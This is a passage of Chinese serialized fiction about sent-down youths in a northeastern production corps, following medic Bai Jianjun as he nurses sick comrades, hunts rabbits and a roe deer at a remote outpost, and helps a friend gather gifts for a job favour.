“我爷爷比我奶奶大将近20岁。”黑丽荣轻声的说道。“我爸我妈结婚也晚！” “原来如此！” 白建军听黑丽荣这么说，就能想到黑丽荣家里以前一定不一般。从刚刚黑丽荣说的几个地名，京城、花城、金陵再加上她是从山城来了，这些在算上他爷爷的年龄，那一定是和国党有很深的关系。 “丽荣姐，他们都说你刚来的时候，您父母还……” 虽然知道挺冒昧的，不过白建军还是小声的说道。 “确实像他们说的那样。我爷爷以前是国党高官，我奶奶给国母当过秘书！”黑丽荣等了一会儿才小声的说道。“不过现在已经都过去了！” “虽然我们改变不了出身，但是我们能用我们的行动证明我们的立场！” 白建军坚定的说道。 “你说的对！我们只有用我们的行动，才能让别人看到我们的立场！”黑丽荣也认真的说道。“我在连部的时候，看到过你的档案，正是你的积极表现，才让你得到了来兵团锻炼的机会！” “丽荣姐，你先休息吧！”说了一会儿话，白建军索性也不睡了。“我去男兵宿舍那边转一圈，看看那几个病号的情况。” “外面凉了，你也注意一点！” 黑丽荣看着拿着手电，出去的白建军嘱咐了一句。 “你放心，要不你先给陈梦莹再量下体温！现在也差不多能再吃退烧药了。” 白建军走到卫生室门口说完话，就从外面关上了门。 看着已经离去的白建军，黑丽荣用只有自己能听到声音小声念叨着。 “可能我真的比你要大一辈！” …… 白建军又走了一圈，石兴华他们几个病号，打了针吃了药之后，现在头摸着也不烫了，白建军悬着的心终于能放下来不少了，等回到卫生室这边的时候，黑丽荣告诉白建军，陈梦莹的体温还是37°左右，并没有升高的样子。 白建军知道陈梦莹应该是没有什么大事了。之后也倒在床上睡了过去。 第73章 雨过天晴 白建军一宿都没怎么睡，刚睡了2个小时，陈梦婷迷迷糊糊的就念叨着“水、水、水！”的，白建军起来的时候，黑丽荣也被惊醒，黑丽荣又喂了陈梦婷一些水之后，陈梦婷又睡了过去。 白建军在病床上迷迷糊糊的，感觉没睡一会儿外面已经响起了起床号的声音。陈梦婷是睡的挺香的，但是白建军和黑丽荣也都醒过来了。 “黑排长，我先回去看看男兵排那边的情况，您也先回去看看女兵排病号的情况吧！”白建军打着哈欠看着黑丽荣说道。“有什么情况，吃早饭的时候，咱们再碰一下。” “那留她自己在这没问题么？” 黑丽荣看着没醒的陈梦婷问道。 “让她继续睡吧！”白建军看了看陈梦婷。“一会儿给她量量体温，再看吧！” 白建军和黑丽荣两人商量好了之后，就各自回到男兵和女兵宿舍，男兵这边昨天的几个病号烧都退了，但是一个个的都很萎靡。 确认了他们的情况，白建军也开始洗漱，之后又去连部那边找连长张大山汇报。 “连长，昨天好几个战士都发烧了，这是人员名单，您看一看。”白建军把昨天的记录交给了张大山。“今天一早我也去看了他们的情况，我个人是不建议他们今天出工的。” “今天早上指导员跟我说了。”张大山拿起病历翻了翻，又还给了白建军。“建军，你昨晚上也辛苦了。” “报告连长，这都是我应该做的！” 白建军接过病历本，立马立正说道。 “你先回去，照顾好病号！”张大山看着白建军说道。“你这也忙了一宿了，今天就先留在卫生室那边。” “是，连长！” 白建军说完，给张大战敬了个礼之后，才离开办公室。 白建军走后不久，林国栋也找到了张大山。 “山子，我刚刚问过团部和师部那边了，下午差不多就能出太阳，这两天也不会再有雨了。”林国栋一进屋就和张大山说道。“等两天康拜因就能下地了，所以今天也不用手动割大豆了吧，要是再这么干两天，大家都得累趴下不可。” “我也没想到，这一天竟然倒下去10多个！” 张大山看着林国栋说道。 “咱们连就差这最后一块地了，也不差这两天时间。” 林国栋看着张大山建议道。 “行，听你的！”张大山看着林国栋直接说道。“昨天也是怪我太着急了！” “也不能怪你，主要也是因为昨天还下雨，再加上割大豆那活太劳累。对着新兵来说，第一次接触秋收就上这么大强度，属实是有些吃不消。”林国栋宽慰着张大山说道。“要是没有雨，相信无论新兵、老兵都能坚持下来。” “今天都在晒场那边干，等下午的时候，我去9号地那边看看情况。”张大山站起来直接说道。“我也去看看那些病号的情况！” “我陪你过去！” 林国栋也要跟着往外走。 “你也值了一宿班了，还是早点回去休息吧，下午你再过来！” 张大山连忙拦住林国栋。 “那行，下午我再过来！” 林国栋这一宿也没怎么睡好，被张大山这么一拦，都有些发晕。 张大山赶紧叫人先送林国栋回去休息，然后才去了男兵排那边看了一眼，最后才到了卫生室这边。 “连长！”×N 看到张大山进来，卫生室这边的女兵都纷纷和张大山打招呼。陈梦莹也想坐起来，张大山赶紧制止道。 “别起来了，你快躺着休息吧！” “连长，其他人都是昨天着凉在加上劳累才发的烧。”白建军走过来，拿着陈梦莹的病历说道。“小陈可能还要加上感染。” “那用转到团部去么？” 张大山看着白建军问道。 “现在还有些低烧，也吃了消炎药。”白建军看着张大山说道。“如果下午还没退烧的话，我建议送到团部那边，咱们这里只有片剂消炎药，卫生队那边有针剂和输液。” “今天都不用下地，等过两天用康拜因把9号地收了。”张大山看着白建军说道。“你这边要是觉得需要，随时安排马车把人送过去！” 张大山在卫生室这边待了一会儿，就回去了，而卫生室这边，白建军又让吴忆茹给陈梦莹量了体温之后，见一直平稳，也就放下了一些担心。 “陈梦莹，你自己在这边先休息。马上出工了，我先去晒场那边。” 白建军看着陈梦莹说道。 陈梦莹虚弱的点了点头，白建军和吴忆茹打了声招呼，就背着药箱往晒场那边去了。 现在讲究一个轻伤不下火线，除了陈梦莹、石兴华、佘福先和姜全宝这四个重病号今天身体虚弱没来晒场这边，其他昨天发烧的轻病号都来了。 白建军原来就建议他们再休息一天，但是他们非要来，白建军也拦不住。好在各个排长也都知道轻重，对于这些轻病号，安排的也都是一些捡袋子、撑袋子这样的轻活。 第二天除了陈梦莹一个人还在卫生室观察，其他病号都参加劳动，陈梦莹也来过晒场这边想参加劳动，但是在白建军和黑丽荣的劝说之下，还是乖乖的回去了。 …… 秋收会战终于结束了，虽然这之中出现了一些小问题，但是总体来说还是一场完美的胜利。看着一车车装好的麦子和大豆被卡车拉走，九连上下甭提多高兴了。 今年的中秋正好赶在国庆的前一天，连长张大山和指导员林国栋研究了之后，特意杀了一头猪给大家改善伙食。这不仅是为了庆祝中秋和国庆，还是为了庆祝秋收会战的成功。 今年兵团给各个师下达了硬指标，师又把指标分解到团，最后落实到了连。主要目的就是为了扭亏为盈。从秋收的结果上来看，今年黑江兵团的目标是一定能完成的。 过了国庆节，黑江兵团这边因为气候的原因也就进入了农闲时节。农忙的时候还是一天三顿，农闲的时候就是一天两顿。 也不知道为什么，这个时候的年轻人，总觉的吃不饱。而三顿变两顿，这就不由得让大家把主意打到了野味。 第74章 农闲 各地的兵团虽然是以务农为主，但是最开始是兼具着防卫的作用。也就是新种花和北边的毛熊关系缓和了一些，各大兵团都把主要精力转移到了生产建设上面来。 九连是五师所有下属团里面位置最北的连队，虽然更北面还有一师的其他团在黑江沿岸的各地，但五师是有支援任务在身上的。 兵团这边每天早上起来都要出操，定期还会组织一些训练，比如队列、射击等，而这些训练大多也就落在了农闲的时候。 当然农闲的时候，同样也是各种文体活动开展最多的时期。每个团里都是有自己的宣传队的，他们的主要任务是丰富兵团战士们的业余生活。 农忙的时候宣传队还只是以小组为单位下到各连队，组织小表演鼓舞士气；农闲的时候，那是每周都有好几场演出的。各连队闲下来的知青们，都喜欢去团部那边看宣传队排练的演出。 自认为有天赋的知青都可以去宣传队那边报名，只要通过宣传队的考核，就能加入宣传队，而且宣传队不同于知青，他们都是属于正式的文艺兵，只要考进去了，那可算是正式入伍啊。但是考核说起来，还是挺难的，九连的陈梦莹就去宣传队报名了，不过没有通过考核。 白建军听周海兵回来的时候说，宣传队里那真是高手如云。陈梦莹第一轮就被淘汰了，陪着陈梦莹一起去的吴忆茹竟然走到了第二轮，不过吴忆茹主动放弃了。 周海兵还为吴忆茹可惜呢，可是吴忆茹只说自己之前练舞蹈的时候受过伤，但具体什么伤她也没说。 有文艺，自然就有体育。团里也组织了各种各样的比赛，像篮球、排球这样的运动，都是热门活动。 团里之所以组织各种各样的活动，就是怕兵团知青们太闲了。但哪怕有团里组织的活动，可是对于黑江这边将近半年的农闲时间来说还是太少了。 由于农闲的时候，连里一天就供两顿饭，对于大多数知青来说，顶多能维持个不饿。要是想吃饱，除非自己掏钱买额外的吃的，要不就得看自己的本事。 俗话说，靠山吃山，靠水吃水。 九连的范围内有两座小山包，就是刚刚说的大峰山和小峰山，与其说是山，不如说是小丘，两座山都在300多米左右，大峰山高点，小峰山矮点，这俩山峰算是整个鹤山延伸出来的两个小山了，而且小峰山那边还有一条连接着青年水库的小河。 10月份，正是下河捕鱼，上山打猎的好时候。 连队都有军事训练，起码实弹射击的机会要比白建军在高中时期“学军”的时候多多了。虽然连队里就有枪，可是那也不是说拿出来就拿出来的，那些武器只有训练的时候才会见到，而且管理的也很严格。 不少农场老职工的家里都有猎枪，但是这些猎枪能不能借出来，就要看个人有没有那么大的面子了。 “刚子哥，你看能不能跟褚大叔商量商量，把他那猎枪借给我用用。”这天白建军来到炊事班找到了褚占刚。“我想去小峰山里转转，看看能不能有猎点东西，打打牙祭。” “建军，不瞒你说，我爹老珍惜他那把猎枪了。前两天我还看到他拿出来擦呢！”褚占刚憨憨的说道。“你要是想借，我可以去说说，不过你别抱啥希望！” “刚子哥，你跟褚大叔说一声呗，试试看行不行！”白建军看着褚占刚说道。“这要是一直不吃肉也就忍过去了，可咱们连这不刚刚杀了头猪么，这馋虫就一下勾起来了。” “嘿嘿，我回去问问我爹！” 褚占刚想起不久之前吃的猪肉也嘿嘿的笑了起来。 第二天白建军又去找褚占刚问结果的时候，褚占刚直接把白建军拉到了一边。 “建军，我爹说小峰山那边没啥鱼，山里除了能有点野蘑菇，也没啥好玩楞了。”褚占刚看着白建军小声说道。“你要是真想去打猎，大峰山凑合，最好是往北面的高峰那边去，那边的林子大！” “新发大队西北边那个高峰？” 白建军看着褚占刚问道。 “嗯，我爹说的就是那个。” 褚占刚点了点头说道。 “去那边最少得走大半天，这连里也不能给我假啊！” 白建军直接摇头说道。 “嘿嘿，这你就不知道了吧。”褚占刚嘿嘿笑着说道。“我爹说今年咱们连人多，明年估计得动10号到12号地。估计连里得派人去北边的知青点看看。” “褚大叔的意思是，连里可能提前派人去那边看看情况，顺带着把知青点拾到拾到？”白建军看着褚占刚问道。 “我爹没说，只是猜的！” 褚占刚摇了摇头说道。 “刚子哥，我明白了，谢谢你啦！” 白建军和褚占刚说完，就离开了。 虽然褚占刚他爹没说借猎枪的事，可是白建军也明白了，褚大叔该说的也都说了。 九连最北边的知青点就建在青年水库附近，那边也有一座小山丘，那个小山丘算是大峰山一起的。两山之间有条山沟，从10号地块穿过这个山沟，就能到新发大队。 大峰山和小峰山可不一样，九连最北边的那个知青点附近是有野兽的。虽说没有熊、虎啥的，但是野猪和狼是有的，所以连里要是派人去知青点，一定会带着武器的。而连里派人过去，白建军做为卫生员，大概率是要跟着去的。 农闲的时候，连里也会给知青们安排活，比如捡粪啥的。不过连里也没指望知青们能捡多少，就是轮流打发出去在附近溜达溜达。 这天白建军正在卫生室这边值班，一排长王长贵就过来找白建军。 “建军，你准备一下药箱，明天一班还有两个女兵跟我去一趟北边的知青点看看。” “好的排长！” 白建军点头答应道。 等王长贵走了，白建军暗自高兴，褚大叔的判断真准！ 第75章 九连知青点（4K） 九连最北面的知青点离着连部直线距离就有将近10里地，沿着田间的路走，最少要多拐出去2里地。白建军跟着王长贵还有自己宿舍的舍友以及三个女知青一起往知青点去。三个女知青中刘凤玲和孙桂艳都是老知青了，黑丽荣特意又加上了吴忆茹。 九连的知青点是建在青年水库边，往西是新发大队，往东德发大队，德发大队是原来就有的自然村，而新发大队的主体则是插队知青。当年青年水库就是当初为了解决红旗公社（长福镇）德发大队、新发大队以及兵团灌溉问题而由兵团知青和插队知青们一起扩建而来的。 这里的知青点还是4年前建立的，但是自从两年前兵团内的知青开始有人参军、返城，九连的人手开始捉襟见肘，九连那边也就放弃了这处知青点，包括10号到12号的地也不得不暂时放弃耕种。 为了安全起见，连里特意批了三杆枪，王长贵作为排长背了一杆，孙桂艳也背着一杆，另一杆则交给了白建军。别看孙桂艳是个女知青，但是枪法在九连那真是数一数二的，白建军没来之前连里无论男女知青都比不过她。 这一次任务不仅是简单的查看一下知青点的状态，连里还让一排一班在这里简单的维护一下，所以给王长贵的命令是最少待7天。连里也特意批了7天的粮食，而这些粮食也都在每个人身上背着。至于到了知青点怎么生火做饭，那只能靠知青们自己解决了。 一行人上午出发，中午之前就到了知青点。两年多没人居住的知青点，玻璃已经有不少都碎了，有的房舍的门竟然是开着的。 王长贵把自己背着的行李还有粮食都扔到了地上，直接端起了手里的枪。 “警戒。” 王长贵的动作一下子让大家都紧张了起来。 白建军和孙桂艳也赶忙把身上的东西都放下，端起枪和王长贵成三角形站住，其他人则进入了他们三个中间。 “排长，什么情况！” 白建军端着枪警惕的看着自己这边的区域。 “咱们走的时候门都是上锁的了，有的门被破坏了！”王长贵警惕的说道。“咱们先去那几个开着门的屋子看一眼。” 众人在王长贵的指挥下，王长贵和白建军在外面警戒，孙桂艳端着枪就进去了，在确认里面没人之后，吴忆茹和刘凤玲还有张铁刚就进去了。 “一排长，这里明显有人生活过的痕迹，而且看样子好像还不是很久以前留下的。”孙桂艳直接在屋里对着王长贵汇报道。“就这一间房子门开着，而且就这间屋子的玻璃都是完好的，有些玻璃像是新换的，和原来的玻璃不一样。” “看样子这两年是有人在这边住过。”确定外面都没人之后，王长贵稍微放下了一些警惕。“咱们再看一圈，看看有什么问题，之后回去的时候好有所准备。” 这边知青点的房子一共就四座，主要是为了在“春种”的时候，能给拖拉机手他们一个休息的地方，毕竟这边的三个地块离着连部最远，一来一回耽误时间，也是浪费柴油。 一排很快就检查完了，除了玻璃破损的问题，还有就是这边有一间房子的炕塌了，而且能看出来房顶有些漏雨。剩下就是玻璃破损的小事了。而且存工具的房间除了玻璃破了，里面的东西也没有丢。 统计完之后，王长贵直接带着白建军、郑自新还有石兴华一起去边上的小山坡上面捡柴火，而留下来的人挑水的挑水，支锅的支锅。白建军他们这组找出锯子，背着枪就往边上的小山坡去了。众人也没有往深了走，就在林子边，挑一些树杈锯下来带回去。 “排长，刚才我就看见有兔子啦，要不一会儿干完活，我去里面看看，能不能打到一只两只的。” 白建军看着王长贵提议道。 “行，你注意安全，别太往里去。”王长贵想了想同意道。“这边山里真的有狼，我们在这边建知青点的时候，半夜都能听到狼嚎！” “有手里的这个家伙在，狼来了我也不怕！” 白建军拍了拍放在一边的枪对着王长贵笑着说道。 “你能打死一只两只，你还能打死10只20只啊！”王长贵摇了摇头说道。“大峰山这边的狼群虽然规模不大，但是也有10多只。狼很聪明，它们不会只从你正面进攻，而是不停的试探，你一把枪顶多能威慑一下，但是只要你放松了，他们就会群起而攻之。” “排长，你说的这好像跟你亲身经历过一样！” 白建军边干活边说道。 “我虽然没有经历过，可是咱们兵团之前可是有人经历过。”王长贵唏嘘的说道。“4年多了，这边发生了太多你们在城里想象不到的事。” “还有比遇到狼更危险的？” 石兴华也在一边问道。 “遇到狼群还可能活下来。”王长贵看着白建军和石兴华感慨的说道。“最怕的其实是冬天出事，不出事还好，一出事不是伤残，就是牺牲。” “东北冷我们都知道，但是牺牲？” 石兴华疑惑的问道。 “这里冬天都得零下30多度，要是赶上汽车误到雪里或者抛锚到了半道上，一到晚上，真能冻死人。就算是你找到人帮忙，但是你们要知道，那个温度在外面走上一两个小时，冻伤都是小事，严重的都有截肢的。” 郑自新在旁边解释道。 “咱们团还没出过这事，但是别的师那边，可真出过事。” 对于一直在京城的白建军和石兴华来说，冬天也挺冷，但是东北的冬天是他们俩想象不出来的。 忙活了快2个小时，感觉锯下来的树枝也差不多够用一两天了，王长贵就让大家停下来休息一会儿，而白建军也会意的拿起了枪打开了保险，小心的往林子里面走去。 过了能有20多分钟，留在原地的王长贵就听到林子里传来了一声枪响。没多大功夫，白建军就提着一只兔子走了出来。 “行啊，建军，这兔子看着挺肥的，今个可是有口福啦！”王长贵看着回来的白建军，脸上都笑快笑开了花。“一会儿回去，咱们去一趟德发大队那边，我带了钱，整点酒庆祝一下！” “我在林子里好像还看见了一头鹿，不过我也不知道是不是。”白建军看着王长贵说道。“那玩意看见我，竟然没跑，反而一直盯着我。” “哈哈，你是遇到傻狍子啦！” 王长贵一听就明白了。 “确实挺傻的，呵呵，傻的都有点可爱！” 白建军笑着说道。 “有它就行了，下次遇到你再崩了它！”王长贵也笑着说道。“柴火也有了，肉也有了，咱们回去！” 四人拖着树枝，带着兔子算是满载而归了，不过四人回到知青点的时候，就觉得气氛有些不对。 “你们这是怎么了？”王长贵放下柴火，看着把守在房门口的蔡凯杰和刘文济问道。“怎么吴忆茹和刘凤玲也在那边门口站着！” “排长，破案了！我们抓到了一对野鸳鸯。”刘文济嘿嘿的笑着说道。“班长还有我弟弟他们在屋里审男的呢，孙桂艳在那屋审那女的呢！” 王长贵看刘文济一副看热闹的样子也知道是怎么回事，白建军他们也都笑着准备看热闹。王长贵背着枪推门就进去了，一进去就看着一个男知青蹲在地上，炕上坐着张宪有、刘文力他们几个。 男知青见有人进来，下意识的抬头看了一眼。 “二柱子，怎么是你小子！” 王长贵一看男知青一下子就认出来了。 “王排长，我和秀华是两情相悦，我都想娶她了，我这可不算流氓。”郑二柱一屁股坐地上，害怕的看着王长贵说道。“你不至于要枪毙我吧！” 王长贵把枪交给进来的白建军之后，走过去一把拉起来郑二柱问道。 “你们俩不在新发大队那边好好呆着，跑这边来干什么？” 问完话，王长贵就反应过来了，郑二柱和石秀华是处对象了，这是情不自禁，在新发大队那边又不方便，两个人就跑到这边来了。毕竟当初新发大队那边的插队知青都知道兵团在这边建了房子。 “哈哈哈！” 坐在炕上的几个人都笑了起来。 “合着哥几个是逗我呐！” 郑二柱看着炕上的张宪有他们诧异的说道。 “我们是嫉妒，知道么！”张宪有看着郑二柱说道。“你小子竟然都有对象了，我们都还是光棍呢！” “炕上的这几个货，你都认识。”王长贵笑着说道。“背枪的是白建军，我们连的卫生员，门口那俩小的一个是石兴华、一个是蔡凯杰，都是今年刚到连队的。” “这是郑二柱，当年我们一起挖水库时认识的。”王长贵说完又和白建军他们介绍了一下郑二柱。“这小子是津门的，那屋的石秀华是京城的，他们俩都是新发大队那边的知青。” 几个人打了招呼之后，都坐下来了，不大功夫，孙桂艳她们三个也和一个清秀的姑娘过来了。 “大玲子，你至于么！”孙桂艳一进屋，郑二柱的嘴就开说了。“也就是我听出来是你动静，不然我肯定跑了！” “怎么不至于，也不知道秀华看上你哪了！”孙桂艳看着郑二柱不屑的说道。“尿壶镶金边，也就嘴儿好！真想给你一梭子！” “姐姐，我错了行了么！你就饶了小的吧！” 郑二柱立马一个法国军礼。这一下子就把屋里的人都逗乐了。 白建军是看出来了，郑二柱和孙桂艳明显早就认识，估计不是邻居就是同学或者是一个学校的。 “你们俩是真有闲工夫啊！”孙桂艳瞪了郑二柱一眼，然后又调笑着石秀华说道。“处个对象还跑这么远。” “姐姐，我们那啥情况，您老还不知道么。”郑二柱看着孙桂艳说道。“跟您们在兵团的是没法比。” “建军！” 王长贵叫了白建军一声，白建军也明白王长贵的意思，点了点头，王长贵立马笑着拍着郑二柱的肩膀说道。 “你小子也是真会赶时候！” “王哥，嘛意思？” 郑二柱疑惑的问道。 “一会儿跟我去一趟德发那边，今天你小子算是有口福了！”王长贵笑着看着郑二柱说完，又对着石秀华说道。“你们俩晚上不回去，那边也不管你们吧！” “谁管啊，要不是我们的口粮都在一起呢，我都想和秀华出来单过了！” 郑二柱摇了摇头无奈的说道。 “那行，今天晚上你们俩就留在这边吧。”王长贵笑着说道。“建军今天打到一只兔子，晚上咱们烤了。” “嗷！建军，好样的！” 一听王长贵这么说，屋里的男生都叫了起来，张宪有更是打起了口哨。 …… 九连知青点的空地上支起了一个火堆，上面的兔子已经烤的滋滋冒油，白建军掏出一个小料包，把一些调料撒了上去。 “白建军，你这卫生员，竟然还带着这个？” 刘凤玲闻着飘散出来的香味，好奇的问道。 “凤玲姐，炊事班的赵班长都想让白建军留在炊事班了！”吴忆茹笑着说道。“人家可是真会厨艺的。” “你这又是懂医术、还会做饭，枪法比桂玲都强！”刘凤玲好奇的看着白建军问道。“你说说还会啥？” “我还略懂一些拳脚！”白建军笑着说道。“兔子烤好了，让你们再见识见识某家的刀法！” “哈哈哈！” 听到白建军的话，大家都关注着白建军怎么施展刀法，不过看到是那手撕，大家都笑了出来，都以为白建军前面的话是在开玩笑。 尝了一口兔子肉的郑二柱，眼泪直接就流了下来。 “你能不能行了，以前怎么没见你跟个娘们儿似的呢！” 孙桂艳看着郑二柱的样子，嘲讽的说道。 “桂玲，我们上次吃肉还是过年呢！”石秀华看着默默流泪的郑二柱也悲由心中起，眼里含着泪说道。“我们连饭都吃不饱，更不要说肉了！” 众人不由得陷入了沉默，等了一会，王长贵举起了茶缸看着众人说道。 “说这些干啥，整一口，都在酒里呐！” 第76章 请托 白建军他们到知青点的第一天晚上，有惊喜，有欢笑，当然也有悲伤。第二天一早，住了一宿的郑二柱和石秀华一起来就走了。 两个人昨天并没有在一起住，因为郑二柱喝多了。早上起来，郑二柱和石秀华和大家告辞之后就走了，王长贵和孙桂艳留他们俩吃饭，两个人也没留下来。 “二柱子虽然看着不着调，可是心里啥都明白！”孙桂艳送走了郑二柱和石秀华之后，跟身边的吴忆茹说道。“昨天晚上跟我们吃一顿还没啥，他是怕今天早上再留下吃饭，我们过两天就得喝稀的。” “桂艳姐，他们俩个这样，能长久么？” 吴忆茹皱眉看着孙桂艳问道。 “这谁知道呢！”孙桂艳摇了摇头说道。“在处对象这件事上，除了兵团有规定以外，知青们最初觉得自己就像‘飞鸽’，而本地人就像‘永久’。” “那现在呢？” 吴忆茹好奇的看着孙桂艳，想知道现在知青们的想法。 “迷茫吧！” 孙桂艳看着远方的大地说道。 “小妮子，你问我这么多，你是不是有喜欢的人了！”晃了晃神的孙桂艳突然看着吴忆茹问道。“要不然你怎么会关心二柱子和秀华他们俩长久不长久？” “桂艳姐，哪有，你可别胡说！” 吴忆茹脸唰的一下就红了，连忙否认道。 “死丫头，你脸都红了！”孙桂艳笑着说道。“本来排长就让我们两个来，我还纳闷你这丫头怎么还一起来了，看来这波人里有你喜欢的人。” “没有！没有！”吴忆茹赶紧摆手说道，之后低下头讷讷的说道。“就是感觉离着近点，会安全一些！” “我知道是谁了！”孙桂艳看着吴忆茹笑着说道。“小茹，你眼光很好！不过你眼光好，别人也不是瞎子！” 吴忆茹不知道孙桂艳为什么这么说，大大眼睛充满了期待的看着孙桂艳。 “我们班里的好几个女生也觉得他很好，你的竞争对手可是很多的啊。”孙桂艳捂着嘴笑道。“不过好像他除了和咱们排长关系稍微好点，也没看出他对谁有这方面的意思。” “黑排长？” 吴忆茹不可思议的看着孙桂艳。 “死丫头，你想什么呢！”孙桂艳轻推了一下吴忆茹。“他们俩更像姐弟，这我还是能看出来的。” 吴忆茹一听孙桂艳这么说，拍了拍胸口。 “别成天胡思乱想了，以后的日子还长着呢，慢慢来吧！”孙桂艳摇了摇头无奈的说道。“先干活！” 白建军他们这次来，不仅是看看这处知青点，还有个重要的任务是查看10号到12号这三个地块的大致情况，以备明年连部对这三个地块的种植工作做出适当的安排。 吃完早饭，众人就投入到对房屋的修缮工作之中了，不过忙到下午的时候，郑二柱又来了。对于郑二柱的到来，大家都挺诧异的，特别是孙桂艳。 “郑二柱，你有嘛事？” “姐姐，能借一步说话么？” 郑二柱看着孙桂艳小心的问道。 众人见郑二柱找孙桂艳，也没有在意，都在干着各自手里的活。另一边郑二柱也和孙桂艳去了远处。 两个人在远处似乎说了什么，看样子孙桂艳挺激动，也不知道孙桂艳说了什么，郑二柱都要给孙桂艳跪下了，又让孙桂艳扶住了。没多大功夫，孙桂艳就带着郑二柱回来了。 孙桂艳回来就找了王长贵，三个人在一边说了一会儿，王长贵就把白建军叫了过去。 “排长，您叫我！” 白建军到了这边就看到郑二柱像犯了错的孩子一样在一边低着头。 “建军，二柱子这边遇到点事。”孙桂艳直接和白建军说道。“公社那边招老师，他想把秀英推上去。钱我能借他，可还差点礼。” “你昨天不是说看到一头傻狍子么！”王长贵看着白建军说道。“要不你明天再去找找？” “正好明天也要捡柴，我再去看看！” 白建军直接答应道。 “我明天和你一起去！” 孙桂艳立马出声说道。 “二柱子，有我们连的两名神枪手一起出动，只要遇到动物，保准能整回来。”王长贵拍了拍郑二柱的肩膀说道。“你就放心吧！” “我想着有只兔子就成！” 郑二柱讪讪的说道。 “回去等信吧，后天早上你再过来。” 孙桂玲直接撵人道。 “玲姐，长贵大哥，建军兄弟，兄弟我谢谢你们啦！” 郑二柱郑重的给三人鞠了一躬。 “客气啥，昨晚上的酒白喝啦！”王长贵笑着说道。“快回去吧，你先去办事！” 郑二柱再次抱了抱拳就走了，他还要去德发大队搭车去红旗公社那边。 “建军，昨晚你也看到他那个熊色啦，他心里憋着苦呢！” 王长贵看着白建军说道。 “他要是真能把石秀英运作上去，我还真挺佩服他的！” 白建军看着郑二柱的背影认真的说道。 “他要是敢骗我，我就打折他的腿！”孙桂玲冷笑着说道。“敢惹怒姑奶奶，今年回家我就把石秀英带到他爹妈面前，看看他爹妈到时候能不能再打折他另一条腿！。” “玲姐，你还是给他留条活路吧！”白建军看着孙桂玲笑着说道。“也是给石秀英一条活路，你别坑石秀英，让她嫁个残废啊！” 三个人开了几句玩笑，白建军提出来要去一趟德发公社，王长贵也没问白建军要干什么就让白建军去了。 晚饭之前白建军就回来，而且还是提着一大三小四个酒坛子还有好几包盐回来的。 “建军，你咋又买酒啦，咋还没喝够啊。” 王长贵真没想到，白建军竟然是去买酒的。 “这里就大的坛子里是酒，其他的都是空坛子！”白建军看着王长贵解释了一句。“你不说那玩意是鹿么，要是真遇上了，我准备兑点血酒。” “那盐呢？我记得来的时候也带了啊。” 王长贵又指着白建军手里的盐问道。 “咱们要是像昨天吃兔肉那样吃鹿肉，保准半夜一个个的都得流鼻血。”白建军提了提那几包盐。“这是为了腌肉准备的！” “你这准备工作还挺周全！” 第77章 分而使之 再次进山砍柴，都不用白建军说什么，大家都鼓动白建军去山里面去打猎，孙桂玲也想跟着去，不过白建军还是摇了摇头，这里虽然是山脚，但是也怕意外，所以还是得留一个人守在这边。 白建军离开不到10多分钟，在锯树枝的孙桂玲他们就听到了一声枪响，大家听到枪声更有干劲了，最少今天又能尝到烤兔子肉了。等了20多分钟，之后树林里又传来一声枪响，九连这几个来捡柴火的甭提多高兴了。 大家以为白建军很快就能回来，可是等了1个多小时，这边柴火都捡的差不多了，也没看白建军回来。也就是这时候，林子中又一声枪响传来，孙桂玲都准备进林子里找白建军去了，可是大家还是劝了劝让孙桂玲等一会儿。 又过了10多分钟，孙桂玲看到一个人影从山上下来。 “你们快看！” 孙桂玲指着人影说道。 “军哥，我的亲哥啊！” 石兴华看到白建军背着个动物，直接撒腿就往白建军那边跑，其他几个知青也都赶紧往白建军那边跑。等孙桂玲到了白建军身边的时候，就看见白建军腰里还挂着两只兔子，指了指白建军身后问道。 “这就是你说的那个傻狍子？” “让你们担心了，就是为了找它，才耽误了这么长时间。咱们得赶紧回去，我得拾到拾到。”白建军看着大家说道。“不然我怕血腥味再招来狼就坏了！” “快走，快走！” 孙桂玲也反应过来了，赶紧招呼大家把柴火捡起来。 一帮人着急忙慌的就回到了知青点这边，留在这边干活的看白建军的架势，也都喜出望外。 “今天晚上还是烤兔子，一会儿我在烧点狍子肉。”白建军看着走过来的王长贵说道。“不过这玩意不能多吃，容易上火，我一会儿处理一下，把肉风干了，给大家分分。” 王长贵立马接过兔子，就开始处理起来，白建军也背着狍子去了屋里。石兴华放下柴火，就跑进去取白建军带回来的酒坛子。白建军一枪直接打在了狍子的脑袋上，所以出血很少，最后控出来的鹿血都快装满10斤的小酒坛子了。 “小石，你去把排长叫来，这扒鹿皮还得他来。”白建军笑着看着被熏的够呛的石兴华。“之后帮我把大的酒坛子搬过来。” 石兴华一听白建军这话如蒙大赦，赶紧出去找王长贵，这血腥味着实把他熏的难受。而留下来的白建军，则把狍子血分到其他两个坛子里。 没一会儿，石兴华就抱着大酒坛子过来了。白建军和石兴华两个人一起把酒倒在了3个小坛中，大坛子里的酒也没了，3个小坛子也再次满了。 “建军，你这在整啥呢？” 王长贵、孙桂玲他们俩前后脚走了进来，王长贵直接看着白建军问道。 “鹿血也不好保存，兑成鹿血酒最好，还能保存的长久点。”白建军看着几人说道。“不过我这也就是应急，这血和酒最好是按照1：10兑，现在这个也就3：7，还得兑，不然劲太大！” “这一头狍子也不能都给郑二柱，给他一条后腿再加上这一坛酒就差不多了。”白建军又看着孙桂玲说道。“这坛子血酒，可以算是药酒了，具有养颜容、治疗贫血，调节免疫，延缓衰老，改善记忆，抗疲劳等作用，而且这个药酒对于男人来说更是至宝！” “你怎么知道这个酒的比例啊？” 王长贵看着白建军说了一大堆，好奇的问道。 “我在京城的时候，去百草厅跟着老师傅们学的，这玩意也不是什么不传之秘！” 白建军随意的说道。 “百草厅是啥？” 王长贵疑惑的问道。 “建军哥，你是……？” 石兴华是京城人，在联系到白建军的姓，一下子就想到了。 “和你猜的差不多！”白建军点了点头。“不过现在没有关系了！” “你们俩在说什么呢？” 这屋里四个人，恐怕只有王长贵还不知道白建军和石兴华说什么，哪怕是孙桂玲津门人，也听过百草厅的名声。 “你甭管我们说啥了，你赶紧处理这个狍子吧，扒皮，内脏这些活就交给你啦，不过心、肝、肺、肾，还有三件都留下。”白建军看着王长贵说道。“完事之后，我剃肉！” “建军哥，晚上你要露一手？”石兴华兴奋的说道。“缺啥，我去德发大队那边去买去！” “我写个单子，你看看能弄来啥，另外再带一小坛酒回来！”白建军从兜里掏出了钱递给石兴华。“不够你先垫上，回来我给你。” 说完白建军给王长贵和孙桂艳使了个眼色，两人会意的点了点头，白建军就在一边写了一些作料的单子交给了石兴华。石兴华拿着单子去外面喊了蔡凯杰，两个人就往德发大队那边去了。 “建军，你刚刚是有话要说。” 